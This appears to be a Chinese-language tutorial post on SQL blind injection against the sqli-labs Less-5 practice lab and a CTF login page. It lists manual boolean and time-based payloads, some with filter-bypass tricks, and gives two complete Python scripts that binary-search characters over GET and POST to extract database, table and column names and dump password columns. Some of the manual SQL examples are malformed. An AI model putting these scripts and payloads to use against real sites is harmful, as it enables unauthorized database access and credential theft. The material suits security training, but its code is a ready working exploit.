SQL盲注二分法注入脚本

sql盲注二分法注入脚本

此脚本可以用来检测sql靶场第五关

http://caichuanqi.cn/lab/sqli-labs-master/Less-5/?id=1

手工注入

布尔盲注和时间盲注

猜测数据库
?id=1' and length(database())=8-- -
id=1' and left(database(),1)>'a' -- - 1
id=1' and left(database(),1)>'z' -- - 0
在a-z之间
id=1' and left(database(),1)>'r' -- -1
id=1' and left(database(),1)>'s' -- -0
id=1' and left(database(),2)>'sa'-- -

猜测表
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1),b,1))>n
a是从0开始第几个表，b是为第几个字符，n是ASCII所对应的十进制数
第一个表
ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101
ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101

第二个表
ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 1,1),1,1))=101

判断user表

http://localhost/Tkitn/sqlitest/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='user' limit 0,1),1,1))>100%23

爆出字段
http://localhost/Tkitn/sqlitest/Less-5/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68-- -

盲注
时间盲注
?id=1' and sleep(5)-- -
?id=1' and if(length(database())>=8,sleep(5),1)-- -

盲注
1'^(ascii(substr((select database()),%d,1))<%d)^1#
括号 绕 空格
1'^(ascii(substr((select(database())),1,1))<1)^1#
逗号被过滤
1'^(ascii(substr((select(database()))from(1)for(1)))<1)^1#
for被过滤
1'^(ascii(substr((select(database()))from(1)))<1)^1#
MySQL|SUBSTR() 函数用法
https://zhuanlan.zhihu.com/p/110142732
布尔注入 改后面的数字
1'^(ascii(substr((select(database()))from(1)))<1)^1#
97 98 99 100
异或 ^ 绕 过 =
1^1=0 1^0=1 0^0=0
每个字符的ascii码判断，是否不等于给定的数字，会得到一个布尔值(0或1)再与结尾的0进行运算。

重点：构造payload：

"1'^(ascii(substr((select(database()))from(%d)))<%d)^1#"

"1'^(ascii(substr((select(database())),%d,1))<%d)^1#" 

"?id=1'^(ascii(substr((select(database())),%d,1))<%d)^1-- -"

"?id=1'^(ascii(mid((select(database())),%d,1))<%d)^1-- -"

SQL盲注get二分法布尔注入

#-*-coding:utf-8-*-
import requests
import time

#host = "http://web.jarvisoj.com:32787/login.php"
host = "http://127.0.0.1/sqlilabs/Less-5/?id=1"

def getDatabase():  #获取数据库名
    global host
    ans=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            url= host +"?id=1'^(ascii(substr((select(database())),%d,1))<%d)^1-- -" % (i,mid)
            res = requests.get(url)
            if "You are in" in res.text:
                high = mid
            else:
                low = mid+1
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid-1)
        print("database is -> "+ans)


def getTable(): #获取表名
    global host
    ans=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            url = host + "?id=1'^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d)^1-- -" % (i,mid)
            res = requests.get(url)
            if "You are in" in res.text:
                high = mid
            else:
                low = mid+1
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid-1)
        print("table is -> "+ans)

def getColumn(): #获取列名
    global host
    ans=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            #url = host + "id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),%d,1))<%d)^1" % (i,mid)
         #   res = requests.get(url)
            url = host + "id=1'^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),%d,1))<%d)^1-- -" % (i,mid)
            res = requests.get(url)
            
            if "You are in" in res.text:
                high = mid
            else:
                low = mid+1
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid-1)
        print("column is -> "+ans)

def dumpTable():#脱裤
    global host
    ans=''
    for i in range(1,10000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
         #   url = host + "id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))<%d)^1" % (i,mid)
         #  res = requests.get(url)
            url = host + "id=1'^(ascii(substr((select(group_concat(password))from(users)),%d,1))<%d)^1-- -" % (i,mid)
            res = requests.get(url)
            if "You are in" in res.text:
                high = mid
            else:
                low = mid+1
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid-1)
        print("dumpTable is -> "+ans)
        
getDatabase()
getTable()
getColumn()
dumpTable()

sql盲注post二分法布尔注入

#-*-coding:utf-8-*-
import requests
import time

host = "http://web.jarvisoj.com:32787/login.php"
#host = "http://127.0.0.1/sqlilabs/Less-5/?id=1"

def getDatabase():  #获取数据库名
    global host
    ans=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            #url= host +"?id=1'^(ascii(substr((select(database())),%d,1))<%d)^1-- -" % (i,mid)
            #res = requests.get(url)
            payload= "1'^(ascii(substr((select(database())),%d,1))<%d)^1#" % (i,mid)
            param ={"username":payload,"password":"admin"}
            res = requests.post(host,data=param)
            if "用户名错误" in res.text:
                high = mid
            else:
                low = mid+1
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid-1)
        print("database is -> "+ans)
        
def getTable(): #获取表名
    global host
    ans=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
           # url = host + "?id=1'^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d)^1-- -" % (i,mid)
            #res = requests.get(url)
            payload= "1'^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d)^1#" % (i,mid)
            param ={"username":payload,"password":"admin"}
            res = requests.post(host,data=param)
            if "用户名错误" in res.text:
                high = mid
            else:
                low = mid+1
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid-1)
        print("table is -> "+ans)
        
def getColumn(): #获取列名
    global host
    ans=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            #url = host + "id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),%d,1))<%d)^1" % (i,mid)
            #res = requests.get(url)
            payload= "1'^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='admin')),%d,1))<%d)^1#" % (i,mid)
            param ={"username":payload,"password":"admin"}
            res = requests.post(host,data=param)
            if "用户名错误" in res.text:
                high = mid
            else:
                low = mid+1
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid-1)
        print("column is -> "+ans)
        
def dumpTable():#脱裤
    global host
    ans=''
    for i in range(1,10000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            #url = host + "id=1'^(ascii(substr((select(group_concat(password))from(admin)),%d,1))<%d)^1-- -" % (i,mid)
            #res = requests.get(url)
            payload= "1'^(ascii(substr((select(group_concat(password))from(admin)),%d,1))<%d)^1#" % (i,mid)
            param ={"username":payload,"password":"admin"}
            res = requests.post(host,data=param)
            if "用户名错误" in res.text:
                high = mid
            else:
                low = mid+1
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid-1)
        print("dumpTable is -> "+ans)
        
getDatabase()
getTable()
getColumn()
dumpTable()